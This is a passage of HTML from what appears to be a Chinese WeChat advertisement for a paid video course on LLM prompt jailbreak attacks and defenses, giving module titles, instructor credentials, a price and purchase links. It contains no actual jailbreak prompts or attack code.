style="list-style-type: disc;" class="list-paddingleft-1"><li><p><span leaf="">今天看到一个攻击案例，赶紧加一条过滤规则；</span></p></li><li><p><span leaf="">明天遇到新的绕过手法，再补一个正则表达式。</span></p></li></ul><p><span leaf="" style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;font-style: normal;font-weight: 400;text-align: justify;color: rgb(0, 103, 96);box-sizing: border-box;"><span textstyle="" style="font-weight: bold;">零散、被动、不成体系。</span></span></p><p><span leaf="">结果就是：永远在追着漏洞跑，永远防不住下一波攻击。</span></p><p><span leaf="">而真正稀缺的AI安全人才，早已不是“会写几条防御策略”的人——而是</span><span leaf="" style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;font-style: normal;font-weight: 400;text-align: justify;color: rgb(0, 103, 96);box-sizing: border-box;"><span textstyle="" style="font-weight: bold;">能系统性地理解提示词攻防原理，主动构建企业级防御体系的人。</span></span></p><p><span leaf="">这类人才的薪资，在过去一年里直接翻了一倍不止。</span></p><p><span leaf="">如果你：正在从事AI安全、大模型应用安全相关工作。想从“零散补丁”升级为“体系化攻防专家”，希望用一门课彻底吃透提示词越狱与防御。</span></p><p><span leaf="">那么，继续了解由</span><span leaf="" style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;font-style: normal;font-weight: 400;text-align: justify;color: rgb(0, 103, 96);box-sizing: border-box;"><span textstyle="" style="font-weight: bold;">大模型安全实战专家——圣枚侠倾力打造的《提示词越狱系统指南：从原理到防御实践》，</span></span><span leaf="">一站式补齐你的LLM安全短板，让你成为行业刚需的AI安全实战人才。</span></p></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4046296296296296" data-s="300,640" data-type="jpeg" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130147" src="https://wechat2rss.xlab.app/img-proxy/?k=8263bf97&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K39dpNU47jj4KoBvc6FJYodTn3tnaMKpOEMavAiagIqKe9nm9aRBO2rYz7Og5MicDOye75hF8T1MIcjPcteRJEwf7vU5HPUqZDAM%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="text-align: center;color: rgb(0, 103, 96);line-height: 2;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">首发价：1499元</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">录播课-随买随学，永久有效</span></strong></p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(45, 53, 54) 13%, rgb(17, 49, 54) 50%, rgb(23, 31, 29) 89%);margin: 9px 0px 0px;min-width: 5%;max-width: 100%;height: auto;padding: 3px 0px 3px 3px;border-top-left-radius: 96px;border-bottom-left-radius: 96px;overflow: hidden;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);border-top-left-radius: 82px;border-bottom-left-radius: 82px;overflow: hidden;padding: 0px 9px 0px 16px;box-sizing: border-box;"><div style="text-align: center;width: 100%;box-sizing: border-box;"><div style="color: rgb(11, 28, 31);width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">01</span></strong></p></div></div></div></div><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(17, 54, 54) 14%, rgb(8, 27, 30) 85%);min-width: 5%;max-width: 100%;height: auto;line-height: 0.4;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 3px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: center;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);line-height: 1;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">行业刚需：这门课解决AI安全核心痛点</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">当下AI安全领域，最稀缺的就是懂提示词攻防的实战型人才。市面上多数课程要么只讲基础Prompt编写，要么堆砌零散攻击案例，既无体系也无落地性，完全无法满足产业安全需求。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">✅ 立足产业安全痛点，拒绝纸上谈兵，所有内容贴合实际攻防场景</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">✅ 从攻击者视角拆解原理，让防御不再是被动堵漏洞</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">✅ 覆盖从基础绕过到高级多模态攻击，适配当下所有主流LLM攻击形态</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">✅ 攻防一体教学，学完即可直接用于AI应用安全建设与防护</span></p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(45, 53, 54) 13%, rgb(17, 49, 54) 50%, rgb(23, 31, 29) 89%);margin: 9px 0px 0px;min-width: 5%;max-width: 100%;height: auto;padding: 3px 0px 3px 3px;border-top-left-radius: 96px;border-bottom-left-radius: 96px;overflow: hidden;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);border-top-left-radius: 82px;border-bottom-left-radius: 82px;overflow: hidden;padding: 0px 9px 0px 16px;box-sizing: border-box;"><div style="text-align: center;width: 100%;box-sizing: border-box;"><div style="color: rgb(11, 28, 31);width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">02</span></strong></p></div></div></div></div><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(17, 54, 54) 14%, rgb(8, 27, 30) 85%);min-width: 5%;max-width: 100%;height: auto;line-height: 0.4;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 3px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: center;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);line-height: 1;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">课程介绍</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">本课程提供了一个</span><span style="color: rgb(0, 103, 96);box-sizing: border-box;"><span leaf="">关于大型语言模型(LLM)提示词越狱的体系化、深度的学习路径。</span></span><span leaf="">我们摒弃零散的技巧罗列，依托于一个全面的攻击技术分类法，</span><span style="color: rgb(0, 103, 96);box-sizing: border-box;"><span leaf="">从攻击者的视角出发，系统性地剖析从基础的“公开指令”到高级的“多模态攻击”等各种越狱手段。</span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">课程不仅会揭示这些攻击的底层逻辑和作用机制更会引导学员思考并实践相应的防御策略，</span><span style="color: rgb(0, 103, 96);box-sizing: border-box;"><span leaf="">最终目标是让学员具备构建和维护更安全、更全面的AI应用的能力。</span></span></p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(45, 53, 54) 13%, rgb(17, 49, 54) 50%, rgb(23, 31, 29) 89%);margin: 9px 0px 0px;min-width: 5%;max-width: 100%;height: auto;padding: 3px 0px 3px 3px;border-top-left-radius: 96px;border-bottom-left-radius: 96px;overflow: hidden;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);border-top-left-radius: 82px;border-bottom-left-radius: 82px;overflow: hidden;padding: 0px 9px 0px 16px;box-sizing: border-box;"><div style="text-align: center;width: 100%;box-sizing: border-box;"><div style="color: rgb(11, 28, 31);width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">03</span></strong></p></div></div></div></div><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(17, 54, 54) 14%, rgb(8, 27, 30) 85%);min-width: 5%;max-width: 100%;height: auto;line-height: 0.4;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 3px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: center;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);line-height: 1;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">讲师ID：圣枚侠</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">业内一线大模型安全实战专家，完全贴合行业实战需求：</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- Langchain、微软、huggingface等多个知名开源项目CVE编号持有者</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- 深耕AI安全及AI For Security实战场景，拥有大量产业级攻防经验</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- 擅长从实战角度拆解技术原理，课程内容直接对标企业安全工作需求</span></p></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2645951035781544" data-s="300,640" data-type="png" data-w="1062" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130148" src="https://wechat2rss.xlab.app/img-proxy/?k=323d5653&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K1iavMwRhElmGJtCUymX0osic7kcVGXQow8DB5GeN4atOhePRmASMytBX5IlQKIkeaibxicNPeU0ecn3bchliblEPos5BSztSibeprRI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(45, 53, 54) 13%, rgb(17, 49, 54) 50%, rgb(23, 31, 29) 89%);margin: 9px 0px 0px;min-width: 5%;max-width: 100%;height: auto;padding: 3px 0px 3px 3px;border-top-left-radius: 96px;border-bottom-left-radius: 96px;overflow: hidden;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);border-top-left-radius: 82px;border-bottom-left-radius: 82px;overflow: hidden;padding: 0px 9px 0px 16px;box-sizing: border-box;"><div style="text-align: center;width: 100%;box-sizing: border-box;"><div style="color: rgb(11, 28, 31);width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">04</span></strong></p></div></div></div></div><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(17, 54, 54) 14%, rgb(8, 27, 30) 85%);min-width: 5%;max-width: 100%;height: auto;line-height: 0.4;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 3px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: center;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);line-height: 1;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">课程体系：贴合产业需求，从原理到实战全覆盖</span></strong></p></div></div></div></div></div></div><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">课程围绕产业落地所需的LLM安全能力搭建，层层递进，精准匹配行业刚需：</span></p><p style="background-image: linear-gradient(90deg, rgb(17, 54, 54) 14%, rgb(8, 27, 30) 85%);color: transparent;-webkit-background-clip: text;box-sizing: border-box;"><span leaf="">🔹 模块一：LLM基础与提示词安全核心</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">夯实大模型工作原理，理解提示词机制本质，搞懂AI应用为何会被越狱攻击突破，建立正确的安全认知。</span></p><p style="background-image: linear-gradient(90deg, rgb(17, 54, 54) 14%, rgb(8, 27, 30) 85%);color: transparent;-webkit-background-clip: text;box-sizing: border-box;"><span leaf="">🔹 模块二：提示词攻击技术体系化分类</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">搭建完整的提示词攻击框架，告别碎片化学习，掌握所有越狱手段的分类与核心逻辑。</span></p><p style="background-image: linear-gradient(90deg, rgb(17, 54, 54) 14%, rgb(8, 27, 30) 85%);color: transparent;-webkit-background-clip: text;box-sizing: border-box;"><span leaf="">🔹 模块三：全场景越狱技术深度拆解</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">覆盖语义操纵、上下文污染、指令劫持、边界绕过等全维度攻击手段，结合实战案例讲透每一种攻击的实现方式。</span></p><p style="background-image: linear-gradient(90deg, rgb(17, 54, 54) 14%, rgb(8, 27, 30) 85%);color: transparent;-webkit-background-clip: text;box-sizing: border-box;"><span leaf="">🔹 模块四：前沿多模态攻击应对</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">针对图像、音频等多模态大模型的新型越狱手段，讲解前沿攻击逻辑，提前适配下一代AI应用安全需求。</span></p><p style="background-image: linear-gradient(90deg, rgb(17, 54, 54) 14%, rgb(8, 27, 30) 85%);color: transparent;-webkit-background-clip: text;box-sizing: border-box;"><span leaf="">🔹 模块五：企业级防御方案落地</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">从产品设计、模型加固、规则拦截到架构防护，构建可落地的防御体系，满足企业合规与安全双重要求。</span></p><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="311130150" data-ratio="1.4538461538461538" data-s="300,640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-type="png" data-w="1040" src="https://wechat2rss.xlab.app/img-proxy/?k=3c10c339&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K1yysW16rcaI1rJXXkLDgVuEdCHqbyicobLTCzHvPpKaHBCdPv7CJo2UWeLTZFKNn9g89uibdaxauYAziaQOfFGf7Rjfib0zNianX3Y%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(45, 53, 54) 13%, rgb(17, 49, 54) 50%, rgb(23, 31, 29) 89%);margin: 9px 0px 0px;min-width: 5%;max-width: 100%;height: auto;padding: 3px 0px 3px 3px;border-top-left-radius: 96px;border-bottom-left-radius: 96px;overflow: hidden;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);border-top-left-radius: 82px;border-bottom-left-radius: 82px;overflow: hidden;padding: 0px 9px 0px 16px;box-sizing: border-box;"><div style="text-align: center;width: 100%;box-sizing: border-box;"><div style="color: rgb(11, 28, 31);width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">05</span></strong></p></div></div></div></div><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(17, 54, 54) 14%, rgb(8, 27, 30) 85%);min-width: 5%;max-width: 100%;height: auto;line-height: 0.4;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 3px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: center;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);line-height: 1;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">学完即掌握行业刚需核心能力</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- 建立体系化提示词安全认知，适配AI产业安全岗位要求</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- 看透各类提示词越狱本质，快速识别并拦截新型攻击</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- 具备独立设计AI应用安全防护方案的能力，满足企业落地需求</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- 补齐LLM安全短板，在安全开发、红队测试、Prompt工程等方向具备核心竞争力</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">- 紧跟AI安全行业趋势，提前掌握多模态安全防护能力，抢占职业先机</span></p></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3236397748592871" data-s="300,640" data-type="png" data-w="1066" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130149" src="https://wechat2rss.xlab.app/img-proxy/?k=7692ceef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K1NkQXibULibQxp3I8Pgy9gX6gsJ3nRTib1mdUPBMfaxu8PoiaiarI5niakpXUicNogfvcPx062XzBGnGD73aWPSfI6Nf2JofGgVGa9zw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(45, 53, 54) 13%, rgb(17, 49, 54) 50%, rgb(23, 31, 29) 89%);margin: 9px 0px 0px;min-width: 5%;max-width: 100%;height: auto;padding: 3px 0px 3px 3px;border-top-left-radius: 96px;border-bottom-left-radius: 96px;overflow: hidden;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);border-top-left-radius: 82px;border-bottom-left-radius: 82px;overflow: hidden;padding: 0px 9px 0px 16px;box-sizing: border-box;"><div style="text-align: center;width: 100%;box-sizing: border-box;"><div style="color: rgb(11, 28, 31);width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">06</span></strong></p></div></div></div></div><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(17, 54, 54) 14%, rgb(8, 27, 30) 85%);min-width: 5%;max-width: 100%;height: auto;line-height: 0.4;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 3px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: center;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);line-height: 1;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">课程目录（如下图）</span></strong></p></div></div></div></div></div></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="5.628703703703704" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130151" src="https://wechat2rss.xlab.app/img-proxy/?k=e62128a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K3cfRs9vX0sVnw0dzdib27cpHhj19kauc573wXZLevWk1fvvia5hhYV2jqSCib1EY6rnicEDQXdXLpdcRmFibWDcKNzuaKoKMPFs94k%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(45, 53, 54) 13%, rgb(17, 49, 54) 50%, rgb(23, 31, 29) 89%);margin: 9px 0px 0px;min-width: 5%;max-width: 100%;height: auto;padding: 3px 0px 3px 3px;border-top-left-radius: 96px;border-bottom-left-radius: 96px;overflow: hidden;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);border-top-left-radius: 82px;border-bottom-left-radius: 82px;overflow: hidden;padding: 0px 9px 0px 16px;box-sizing: border-box;"><div style="text-align: center;width: 100%;box-sizing: border-box;"><div style="color: rgb(11, 28, 31);width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">07</span></strong></p></div></div></div></div><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(17, 54, 54) 14%, rgb(8, 27, 30) 85%);min-width: 5%;max-width: 100%;height: auto;line-height: 0.4;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 3px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: center;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);line-height: 1;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">购课入口</span></strong></p></div></div></div></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: 28%;align-self: center;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(17, 49, 54);padding: 6px;box-sizing: border-box;"><div style="text-align: center;margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="400" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130152" src="https://wechat2rss.xlab.app/img-proxy/?k=27686022&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K0QNB7yuZmfbFYiaR4cxnCib2X6gdztATUL43E2ZKSicdVUTQMF6rpduxeUMpKXE7iaibVeibbA6HtdLpBrHHCMicJCyIOP1Zge29ojmM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;padding: 0px 0px 0px 12px;box-sizing: border-box;"><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="height: auto;z-index: 1;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: 15px;align-self: center;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: 8px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;height: auto;background-color: rgb(17, 49, 54);box-sizing: border-box;"><div style="margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.6708860759493671" data-s="300,640" data-type="png" data-w="395" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130153" src="https://wechat2rss.xlab.app/img-proxy/?k=85ab300e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K0srbq4SOc7bOT7QPG9QiabKJiadl1C2GM0CaKyx4GP9iasoBRx8tEqoe8iaibjjeB0IqDGgRZbQ0JssZ3oj4xXmkZqHdNqKrVCSgT8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: 15px;align-self: center;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: 8px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;height: auto;background-color: rgb(17, 49, 54);box-sizing: border-box;"><div style="margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.6708860759493671" data-s="300,640" data-type="png" data-w="395" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130156" src="https://wechat2rss.xlab.app/img-proxy/?k=5a741c63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K1dwPfxM3BaauQDicdzBUiaaGsliaNNicR1ePe1xUwQoya2B8YQpA58Fkz64kicnnNrteVpPicQnibQIRic4vEZBxbwVdPYjvPgH1yP7Ik%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: 15px;align-self: center;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: 8px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;height: auto;background-color: rgb(17, 49, 54);box-sizing: border-box;"><div style="margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.6708860759493671" data-s="300,640" data-type="png" data-w="395" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130155" 